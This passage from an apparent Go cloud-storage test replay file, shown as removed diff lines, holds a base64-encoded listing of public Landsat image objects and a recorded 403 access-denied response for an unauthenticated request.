JjIjoieHpWMmZnPT0iLCJldGFnIjoiQ0pEbjB1WEx3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjExLlRJRi8xNDc1NTk5MzE5MTg4MDAwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMS5USUYiLCJuYW1lIjoiTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMS5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MzE5MTg4MDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDE6NTkuMTQ5WiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQxOjU5LjE0OVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MTo1OS4xNDlaIiwic2l6ZSI6IjU2Nzk2NDM5IiwibWQ1SGFzaCI6IkZPeGl5eEpYcUFmbFJUOGxGblNkT2c9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjExLlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkzMTkxODgwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoicC9IRlZ3PT0iLCJldGFnIjoiQ0tDRWdlckx3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjIuVElGLzE0NzU1OTkxNjEyMjQwMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjIuVElGIiwibmFtZSI6IkxDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9CMi5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MTYxMjI0MDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6Mzk6MjEuMTYwWiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjM5OjIxLjE2MFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjozOToyMS4xNjBaIiwic2l6ZSI6Ijc3MTQ5NzcxIiwibWQ1SGFzaCI6Ik1QMjJ6ak9vMk5zMGlZNE1UUEpSd0E9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjIuVElGP2dlbmVyYXRpb249MTQ3NTU5OTE2MTIyNDAwMCZhbHQ9bWVkaWEiLCJjcmMzMmMiOiJySThZUmc9PSIsImV0YWciOiJDTURXMTU3THdjOENFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0L0xDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9CMy5USUYvMTQ3NTU5OTE3ODQzNTAwMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2djcC1wdWJsaWMtZGF0YS1sYW5kc2F0L28vTEMwOCUyRlBSRSUyRjA0NCUyRjAzNCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMy5USUYiLCJuYW1lIjoiTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IzLlRJRiIsImJ1Y2tldCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0IiwiZ2VuZXJhdGlvbiI6IjE0NzU1OTkxNzg0MzUwMDAiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIsInRpbWVDcmVhdGVkIjoiMjAxNi0xMC0wNFQxNjozOTozOC4zNzZaIiwidXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6Mzk6MzguMzc2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjM5OjM4LjM3NloiLCJzaXplIjoiODAyOTM2ODciLCJtZDVIYXNoIjoidlFNaUdlRHVCZzZjcjNYc2ZJRWpvUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2djcC1wdWJsaWMtZGF0YS1sYW5kc2F0L28vTEMwOCUyRlBSRSUyRjA0NCUyRjAzNCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMy5USUY/Z2VuZXJhdGlvbj0xNDc1NTk5MTc4NDM1MDAwJmFsdD1tZWRpYSIsImNyYzMyYyI6InVaQnJuQT09IiwiZXRhZyI6IkNMaVQ4cWJMd2M4Q0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I0LlRJRi8xNDc1NTk5MTk0MjY4MDAwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I0LlRJRiIsIm5hbWUiOiJMQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjQuVElGIiwiYnVja2V0IjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQiLCJnZW5lcmF0aW9uIjoiMTQ3NTU5OTE5NDI2ODAwMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE2LTEwLTA0VDE2OjM5OjU0LjIxMVoiLCJ1cGRhdGVkIjoiMjAxNi0xMC0wNFQxNjozOTo1NC4yMTFaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6Mzk6NTQuMjExWiIsInNpemUiOiI4NDQ5NDM3NSIsIm1kNUhhc2giOiJGV2VWQTAxWk8wK21BK0VSRmN6dWhBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I0LlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkxOTQyNjgwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoiV2VzNW9RPT0iLCJldGFnIjoiQ09EQ3VLN0x3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjUuVElGLzE0NzU1OTkyMDI5NzkwMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjUuVElGIiwibmFtZSI6IkxDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9CNS5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MjAyOTc5MDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDA6MDIuOTM3WiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQwOjAyLjkzN1oiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MDowMi45MzdaIiwic2l6ZSI6Ijg5MzE4NDY3IiwibWQ1SGFzaCI6InA0b3lLSEFHbzVLeTNLZzFUSzFaUXc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjUuVElGP2dlbmVyYXRpb249MTQ3NTU5OTIwMjk3OTAwMCZhbHQ9bWVkaWEiLCJjcmMzMmMiOiJwVFl1dXc9PSIsImV0YWciOiJDTGlaekxMTHdjOENFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0L0xDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9CNi5USUYvMTQ3NTU5OTIzMzQ4MTAwMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2djcC1wdWJsaWMtZGF0YS1sYW5kc2F0L28vTEMwOCUyRlBSRSUyRjA0NCUyRjAzNCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNi5USUYiLCJuYW1lIjoiTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I2LlRJRiIsImJ1Y2tldCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0IiwiZ2VuZXJhdGlvbiI6IjE0NzU1OTkyMzM0ODEwMDAiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIsInRpbWVDcmVhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MDozMy4zNDlaIiwidXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDA6MzMuMzQ5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQwOjMzLjM0OVoiLCJzaXplIjoiODk0NjU3NjciLCJtZDVIYXNoIjoiMlo3MkdVT0t0bGd6VDlWUlNHWVhqQT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2djcC1wdWJsaWMtZGF0YS1sYW5kc2F0L28vTEMwOCUyRlBSRSUyRjA0NCUyRjAzNCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNi5USUY/Z2VuZXJhdGlvbj0xNDc1NTk5MjMzNDgxMDAwJmFsdD1tZWRpYSIsImNyYzMyYyI6IklOWEhiUT09IiwiZXRhZyI6IkNLanlrY0hMd2M4Q0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I3LlRJRi8xNDc1NTk5MjQxMDU1MDAwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I3LlRJRiIsIm5hbWUiOiJMQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjcuVElGIiwiYnVja2V0IjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQiLCJnZW5lcmF0aW9uIjoiMTQ3NTU5OTI0MTA1NTAwMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQwOjQxLjAyMVoiLCJ1cGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MDo0MS4wMjFaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDA6NDEuMDIxWiIsInNpemUiOiI4NjQ2MjYxNCIsIm1kNUhhc2giOiI4Z1BOUTdRWm9GMkNOWlo5RW1ybG9nPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I3LlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkyNDEwNTUwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoidXdDRCtBPT0iLCJldGFnIjoiQ0ppVzRNVEx3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjguVElGLzE0NzU1OTkyODEzMzgwMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjguVElGIiwibmFtZSI6IkxDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9COC5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MjgxMzM4MDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDE6MjEuMzAwWiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQxOjIxLjMwMFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MToyMS4zMDBaIiwic2l6ZSI6IjMxODg4Nzc3NCIsIm1kNUhhc2giOiJ5Nzk1THJVekJ3azJ0TDZQTTAxY0VBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0I4LlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkyODEzMzgwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoiWjMrWmhRPT0iLCJldGFnIjoiQ0pEdCt0Zkx3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjkuVElGLzE0NzU1OTkyOTE0MjUwMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjkuVElGIiwibmFtZSI6IkxDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9COS5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MjkxNDI1MDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDE6MzEuMzYxWiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQxOjMxLjM2MVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MTozMS4zNjFaIiwic2l6ZSI6IjQ0MzA4MjA1IiwibWQ1SGFzaCI6IjVCNDFFMkRCYlk1MnBZUFVHVmg5NWc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjkuVElGP2dlbmVyYXRpb249MTQ3NTU5OTI5MTQyNTAwMCZhbHQ9bWVkaWEiLCJjcmMzMmMiOiJhME9EUXc9PSIsImV0YWciOiJDT2pCNHR6THdjOENFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0L0xDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9CUUEuVElGLzE0NzU1OTkzMjcyMjIwMDAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQlFBLlRJRiIsIm5hbWUiOiJMQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQlFBLlRJRiIsImJ1Y2tldCI6ImdjcC1wdWJsaWMtZGF0YS1sYW5kc2F0IiwiZ2VuZXJhdGlvbiI6IjE0NzU1OTkzMjcyMjIwMDAiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIsInRpbWVDcmVhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MjowNy4xNTlaIiwidXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDI6MDcuMTU5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQyOjA3LjE1OVoiLCJzaXplIjoiMzM1NDcxOSIsIm1kNUhhc2giOiJ6cWlndmw1RW52bWkvR0xjOHlINTFBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0JRQS5USUY/Z2VuZXJhdGlvbj0xNDc1NTk5MzI3MjIyMDAwJmFsdD1tZWRpYSIsImNyYzMyYyI6IldPQmdLQT09IiwiZXRhZyI6IkNQQ3g2KzNMd2M4Q0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX01UTC50eHQvMTQ3NTU5OTMyNzY2MjAwMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2djcC1wdWJsaWMtZGF0YS1sYW5kc2F0L28vTEMwOCUyRlBSRSUyRjA0NCUyRjAzNCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMCUyRkxDODA0NDAzNDIwMTYyNTlMR04wMF9NVEwudHh0IiwibmFtZSI6IkxDMDgvUFJFLzA0NC8wMzQvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwL0xDODA0NDAzNDIwMTYyNTlMR04wMF9NVEwudHh0IiwiYnVja2V0IjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQiLCJnZW5lcmF0aW9uIjoiMTQ3NTU5OTMyNzY2MjAwMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQyOjA3LjYxOFoiLCJ1cGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MjowNy42MThaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDI6MDcuNjE4WiIsInNpemUiOiI3OTAzIiwibWQ1SGFzaCI6ImVsL1VkRHZXUjBoZmlFbHZyYkJjVVE9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfTVRMLnR4dD9nZW5lcmF0aW9uPTE0NzU1OTkzMjc2NjIwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoiUFdCdDhnPT0iLCJldGFnIjoiQ0xDZmh1N0x3YzhDRUFFPSJ9XX0=" - } - }, - { - "ID": "3f3f45cd2b718e17", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/noauth", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "247" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:26 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:26 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqsZlmkTyf2_fqITeaIiM8s2MLUvz5qFiP_rzA4Mf6Q9LMxsiQeP-GBRwHON_XvnG2qef3XL1EzgTLA_GxtLKZRjdzOBndJPf9XbJa9KjJCIPlducQ" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+QWNjZXNzRGVuaWVkPC9Db2RlPjxNZXNzYWdlPkFjY2VzcyBkZW5pZWQuPC9NZXNzYWdlPjxEZXRhaWxzPkFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLjwvRGV0YWlscz48L0Vycm9yPg==" - } - }, - { - "ID": 